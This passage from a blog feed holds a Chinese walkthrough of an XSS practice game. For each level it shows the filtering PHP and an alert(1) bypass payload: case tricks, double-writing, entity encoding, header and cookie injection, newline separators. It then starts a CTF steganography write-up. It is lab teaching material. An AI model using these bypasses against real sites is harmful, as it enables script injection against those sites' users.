method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>这一关第一处进行转义，第二处有三步处理分别是strtolower（）函数，把输入内容都转化为小写，所以不能用大写绕过，还有str_replace（）函数，把&lt;script和on替换成了&lt;scr_ipt和o_n，所以不能闭合标签也不能用js事件触发了，但是替换的是&lt;script而script不会被替换所以javascript是可以的并且这次没有过滤尖括号，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"&gt;&lt;a href="</span>javascript:alert(<span class="number">1</span>)<span class="string">"&gt;1&lt;/a&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713173833.png" alt="11"></p><h2 id="Level-6"><a href="#Level-6" class="headerlink" title="Level 6"></a>Level 6</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713174128.png" alt="12"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level6&lt;/h1&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str2=str_replace(&quot;&lt;script&quot;,&quot;&lt;scr_ipt&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level6.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>这一关过滤了很多字符，on、src、data、href、&lt;script都被替换了，但是没有strtolower（）函数没有对大小写进行过滤，所以可以用大写绕过，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"&gt; &lt;Script&gt;alert(1)&lt;/script&gt;、"</span> Onclick=<span class="string">"alert(1)  等等</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713175330.png" alt="13"></p><h2 id="Level-7"><a href="#Level-7" class="headerlink" title="Level 7"></a>Level 7</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713175543.png" alt="14"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level7&lt;/h1&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str =strtolower( $_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;script&quot;,&quot;&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;&quot;,$str5);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level7.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>于上一关不同之处是字符都被替换成了空格还多了strtolower（）函数，所以这一关可以使用双写绕过，比如oonn，中间的on会被替换成空格，就变成了on。payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">" oonnclick=alert(1)&gt;、"&gt;<span class="tag">&lt;<span class="name">scscriptript</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">scscriptript</span>&gt;</span>等</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713180523.png" alt="15"></p><h2 id="Level-8"><a href="#Level-8" class="headerlink" title="Level 8"></a>Level 8</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713180737.png" alt="16"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level8&lt;/h1&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = strtolower($_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);</span><br><span class="line">$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;quot&apos;,$str6);</span><br><span class="line">echo &apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level8.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.htmlspecialchars($str).&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=添加友情链接 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br><span class="line">&lt;?php</span><br><span class="line"> echo &apos;&lt;center&gt;&lt;BR&gt;&lt;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&lt;/a&gt;&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>分析源码，这一关还是替换了很多字符，也有strtolower（）函数，而且“也被编码了，而尖括号，单引号，#、%等符号没有被过滤。看这一关后面有个添加友情链接，从源码看出需要添加链接后再点击友情链接才能弹窗，所以要用javascript绕过。而script被过滤了所以要用URL编码绕过，就是把javascript中一个字母进行编码，例r换成&amp;#114 ;就变成了javasc&amp;#114 ;ipt，HTML字符实体转换：<a href="https://www.qqxiuzi.cn/bianma/zifushiti.php" target="_blank" rel="noopener">https://www.qqxiuzi.cn/bianma/zifushiti.php</a> ，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javasc&amp;<span class="comment">#114;ipt:alert(1)</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713183853.png" alt="17"></p><h2 id="Level-9"><a href="#Level-9" class="headerlink" title="Level 9"></a>Level 9</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713183953.png" alt="18"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = strtolower($_GET[<span class="string">"keyword"</span>]);</span><br><span class="line">$str2=str_replace(<span class="string">"script"</span>,<span class="string">"scr_ipt"</span>,$str);</span><br><span class="line">$str3=str_replace(<span class="string">"on"</span>,<span class="string">"o_n"</span>,$str2);</span><br><span class="line">$str4=str_replace(<span class="string">"src"</span>,<span class="string">"sr_c"</span>,$str3);</span><br><span class="line">$str5=str_replace(<span class="string">"data"</span>,<span class="string">"da_ta"</span>,$str4);</span><br><span class="line">$str6=str_replace(<span class="string">"href"</span>,<span class="string">"hr_ef"</span>,$str5);</span><br><span class="line">$str7=str_replace(<span class="string">'"'</span>,<span class="string">'&amp;quot'</span>,$str6);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;center&gt;</span></span><br><span class="line"><span class="string">&lt;form action=level9.php method=GET&gt;</span></span><br><span class="line"><span class="string">&lt;input name=keyword  value="'</span>.htmlspecialchars($str).<span class="string">'"&gt;</span></span><br><span class="line"><span class="string">&lt;input type=submit name=submit value=添加友情链接 /&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string">&lt;/center&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">false</span>===strpos($str7,<span class="string">'http://'</span>))</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'&lt;center&gt;&lt;BR&gt;&lt;a href="您的链接不合法？有没有！"&gt;友情链接&lt;/a&gt;&lt;/center&gt;'</span>;</span><br><span class="line">        &#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'&lt;center&gt;&lt;BR&gt;&lt;a href="'</span>.$str7.<span class="string">'"&gt;友情链接&lt;/a&gt;&lt;/center&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>比上一关多了一个if-else判断句，if中有个strpos（）函数，这个函数原型是strpos（string,find,start）第一个参数string是必须的，规定了要搜索的字符串，第二个参数find是必须的，规定了要查找的字符串，第三个参数start是可选的，规定在何处开始搜索。</p><p>多的这部分就是对str7进行搜索，要找字符串 http://  ，所以if语句就是如果str7中没有要找的字符串，就执行if语句，如果找到了就会返回效应的位置比如2，就不会等于false，就可以绕过。payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javasc&amp;<span class="comment">#114;ipt:alert(1)//http://</span></span><br></pre></td></tr></table></figure><p>注：要用单行注释符//把后边的http：//注释掉，这里是在javascript伪协议里面，属于js范畴，所以单行注释符是可以使用的。</p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713185045.png" alt="19"></p><h2 id="Level-10"><a href="#Level-10" class="headerlink" title="Level 10"></a>Level 10</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713185503.png" alt="20"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = $_GET[<span class="string">"keyword"</span>];</span><br><span class="line">$str11 = $_GET[<span class="string">"t_sort"</span>];</span><br><span class="line">$str22=str_replace(<span class="string">"&gt;"</span>,<span class="string">""</span>,$str11);</span><br><span class="line">$str33=str_replace(<span class="string">"&lt;"</span>,<span class="string">""</span>,$str22);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;h2 align=center&gt;没有找到和"</span>.htmlspecialchars($str).<span class="string">"相关的结果.&lt;/h2&gt;"</span>.<span class="string">'&lt;center&gt;</span></span><br><span class="line"><span class="string">&lt;form id=search&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_link"  value="'</span>.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_history"  value="'</span>.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_sort"  value="'</span>.$str33.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string">&lt;/center&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析源码，这一关需要两个参数keyword和t_sort，尖括号&lt;&gt;都被转换成空，还有三个隐藏的输入框，参数t_sort就在一个hidden属性的input标签中，所以可以从隐藏的输入框入手，把type改成显示的，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keyword=test&amp;t_sort=<span class="string">" type="</span>text<span class="string">" onclick="</span>alert(<span class="number">1</span>)等</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713190727.png" alt="21"></p><h2 id="Level-11、12、13"><a href="#Level-11、12、13" class="headerlink" title="Level 11、12、13"></a>Level 11、12、13</h2><p>这三关是同样的东西，需要抓包改东西</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = $_GET[<span class="string">"keyword"</span>];</span><br><span class="line">$str00 = $_GET[<span class="string">"t_sort"</span>];</span><br><span class="line">$str11=$_SERVER[<span class="string">'HTTP_REFERER'</span>];</span><br><span class="line">$str22=str_replace(<span class="string">"&gt;"</span>,<span class="string">""</span>,$str11);</span><br><span class="line">$str33=str_replace(<span class="string">"&lt;"</span>,<span class="string">""</span>,$str22);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;h2 align=center&gt;没有找到和"</span>.htmlspecialchars($str).<span class="string">"相关的结果.&lt;/h2&gt;"</span>.<span class="string">'&lt;center&gt;</span></span><br><span class="line"><span class="string">&lt;form id=search&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_link"  value="'</span>.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_history"  value="'</span>.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_sort"  value="'</span>.htmlspecialchars($str00).<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;input name="t_ref"  value="'</span>.$str33.<span class="string">'" type="hidden"&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string">&lt;/center&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>11、12关的源码只有第13行不同，分别是</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input name=<span class="string">"t_ref"</span>  value=<span class="string">"'.$str33.'"</span> type=<span class="string">"hidden"</span>&gt;</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input name=<span class="string">"t_ua"</span>  value=<span class="string">"'.$str33.'"</span> type=<span class="string">"hidden"</span>&gt;</span><br></pre></td></tr></table></figure><p>13关第5行变成了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$str11=$_COOKIE[<span class="string">"user"</span>];</span><br></pre></td></tr></table></figure><p>13行是</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input name=<span class="string">"t_cook"</span>  value=<span class="string">"'.$str33.'"</span> type=<span class="string">"hidden"</span>&gt;</span><br></pre></td></tr></table></figure><p>其他都是一样的，其中$str11=$_SERVER[‘HTTP_REFERER’];这行代码说明11、12关考察的是http头部的xss注入，13关是cookie类型的xss注入，都需要进行抓包，可以使用burpsuite来抓。</p><p>11关是改Referer，12关改User-Agent，13关改cookie，payload（三关一样）：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">" type="</span>text<span class="string">" onclick="</span>alert(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>11关</p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713221214.png" alt="22"></p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713200731.png" alt="23"></p><p>12关</p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713221427.png" alt="24"></p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713200843.png" alt="25"></p><p>13关</p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713221807.png" alt="26"></p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713200944.png" alt="27"></p><h2 id="Level-14"><a href="#Level-14" class="headerlink" title="Level 14"></a>Level 14</h2><p>这关看别人wp说的是通过修改图片的exif信息，造成解析图片exif触发XSS，利用工具推荐exiftool。但都没有这关的解析。这题跳过</p><h2 id="Level-15"><a href="#Level-15" class="headerlink" title="Level 15"></a>Level 15</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713223021.png" alt="28"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = $_GET[<span class="string">"src"</span>];</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;body&gt;&lt;span class="ng-include:'</span>.htmlspecialchars($str).<span class="string">'"&gt;&lt;/span&gt;&lt;/body&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析代码，ng-include有包含文件的意思，也就相当于php里面的include，所以可以包含第一关的页面，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">src=<span class="string">'level1.php?name=&lt;img src=1 onerror=alert(1)&gt;'</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713192524.png" alt="29"></p><h2 id="Level-16"><a href="#Level-16" class="headerlink" title="Level 16"></a>Level 16</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713192541.png" alt="30"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str =strtolower($_GET[<span class="string">"keyword"</span>]);</span><br><span class="line">$str2=str_replace(<span class="string">"script"</span>,<span class="string">"&amp;nbsp;"</span>,$str);</span><br><span class="line">$str3=str_replace(<span class="string">" "</span>,<span class="string">"&amp;nbsp;"</span>,$str2);</span><br><span class="line">$str4=str_replace(<span class="string">"/"</span>,<span class="string">"&amp;nbsp;"</span>,$str3);</span><br><span class="line">$str5=str_replace(<span class="string">""</span>,<span class="string">"&amp;nbsp;"</span>,$str4);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;center&gt;"</span>.$str5.<span class="string">"&lt;/center&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析源码，有strtolower（）函数不能大小写绕过，script、/、&nbsp;、都被转换成了&amp;nbsp；，这时可以用其他符号绕过，比如%0a（换行）、%0d（回车）等，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img%0a%0dsrc=x%0a%0donerror=alert(1)</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713192649.png" alt="31"></p><h2 id="Level-17、18"><a href="#Level-17、18" class="headerlink" title="Level 17、18"></a>Level 17、18</h2><p>17关</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;embed src=xsf01.swf?"</span>.htmlspecialchars($_GET[<span class="string">"arg01"</span>]).<span class="string">"="</span>.htmlspecialchars($_GET[<span class="string">"arg02"</span>]).<span class="string">" width=100% heigth=100%&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>18关</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;embed src=xsf02.swf?"</span>.htmlspecialchars($_GET[<span class="string">"arg01"</span>]).<span class="string">"="</span>.htmlspecialchars($_GET[<span class="string">"arg02"</span>]).<span class="string">" width=100% heigth=100%&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这两关是一个类型，看的其他人的wp说的放了个swf在页面但不是flash xss，只要在arg02后面加上onmouseover事件就行了，payload（两关一样）：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arg01=a&amp;arg02=b onmouseover=alert(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h2 id="Level-19、20"><a href="#Level-19、20" class="headerlink" title="Level 19、20"></a>Level 19、20</h2><p>这两关考察的就是flash xss了，这个现在不会还没学，找了找别人的wp这两关都没写，所以应该挺难的，不过找到了这两关的payload</p><p>19关</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/xss_test/level19.php?arg01=version&amp;arg02=&lt;a href="javascript:alert(1)"&gt;123&lt;/a&gt;</span><br></pre></td></tr></table></figure><p>20关</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/xss_test/level20.php?arg01=id&amp;arg02=\%22))&#125;catch(e)&#123;&#125;if(!self.a)self.a=!alert(1)//%26width%26height</span><br></pre></td></tr></table></figure><p>参考文章：</p><p><a href="https://www.cnblogs.com/bmjoker/p/9446472.html" target="_blank" rel="noopener">https://www.cnblogs.com/bmjoker/p/9446472.html</a></p><p><a href="https://www.jianshu.com/p/4e3a517bc4ea（他写了19关，不过我看不懂.......）" target="_blank" rel="noopener">https://www.jianshu.com/p/4e3a517bc4ea（他写了19关，不过我看不懂.......）</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;xss在线练习平台地址：&lt;a href=&quot;http://test.xss.tv/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://test.xss.tv/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/07/13/XSS注入-一/QQ截图20190713152917.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;p&gt;xss小游戏：&lt;a href=&quot;https://pan.baidu.com/s/128cEiVn7g-8f24-zt49Zuw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://pan.baidu.com/s/128cEiVn7g-8f24-zt49Zuw&lt;/a&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;提取码：8d05&lt;/p&gt;
&lt;p&gt;可以搭建在本地上，把文件放在WWW目录下，需要php+mysql环境（把PHPstudy打开就行了）&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>MISC-图片隐写</title>
    <link href="http://yoursite.com/2019/07/12/MISC-%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99/"/>
    <id>http://yoursite.com/2019/07/12/MISC-图片隐写/</id>
    <published>2019-07-12T04:17:09.000Z</published>
    <updated>2019-08-06T07:47:54.402Z</updated>
    
    <content type="html"><![CDATA[<p>题目复现：</p><h2 id="实验吧-黑与白"><a href="#实验吧-黑与白" class="headerlink" title="实验吧 - 黑与白"></a>实验吧 - 黑与白</h2><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1925" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1925</a></p><p>题目打开是一张图片，像是二维码</p><p><img src="/2019/07/12/MISC-图片隐写/Pcat.jpg" alt="1"></p><p>放入CQR中看下，发现能扫出来，是一个网站<a id="more"></a></p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712155533.png" alt="2"></p><p>看了别人的wp才知道网站是个培根密码……解密一下，把符号去掉大写字母换成A或B、小写字母换成B或A，然后五个一组对照表，分析得出密码为tacp。</p><p>然后把图片放在JPSH（工具下载地址：<a href="https://www.scanwith.com/JPHS_for_Windows_download.htm" target="_blank" rel="noopener">https://www.scanwith.com/JPHS_for_Windows_download.htm</a>）中，看到需要输入密码，密码就是tacp了</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712161349.png" alt="3"></p><p>然后保存为txt格式，打开就是flag了：CTF{123pcat321_Jphide}</p><p>这题是jphide隐写，jphide的理解可以参考<a href="https://www.cnblogs.com/daban/p/5680615.html" target="_blank" rel="noopener">https://www.cnblogs.com/daban/p/5680615.html</a></p><h2 id="实验吧-黑与白2"><a href="#实验吧-黑与白2" class="headerlink" title="实验吧 - 黑与白2"></a>实验吧 - 黑与白2</h2><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1929" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1929</a></p><p>看题目描述说仔细看看文件，打开看到文件名是yhpargonagets，反过来刚好是steganography隐写术的英文，这个文件又是图片，所以要用到工具Image Steganography。填写图片路径（可以直接将图片拖到框里），勾选Decode和Decrypt</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712164513.png" alt="4"></p><p>点开始发现需要密码</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712164702.png" alt="5"></p><p>密码就要在图片中找了，打开图片可以看出图片黑白是颠倒的，用stegsolve可以进行反转，反转后</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712165110.png" alt="6"></p><p>同样扫描一下得到内容：我不会拼音</p><p>这什么鬼……还是看了别人的wp才知道意思（这两题这脑洞不看别人wp我肯定是做不出来的），除了拼音常用输入法就只有五笔了，这几个字用五笔打就是密码了，我不会拼音转成五笔就是trntgiiwfcuruahujf，所以密码就是trntgiiwfcuruahujf了，输入密码得到flag：CTF{pcat_is_master}</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712165959.png" alt="7"></p><h2 id="实验吧-水果"><a href="#实验吧-水果" class="headerlink" title="实验吧 - 水果"></a>实验吧 - 水果</h2><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1903" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1903</a></p><p>打开是一张图片</p><p><img 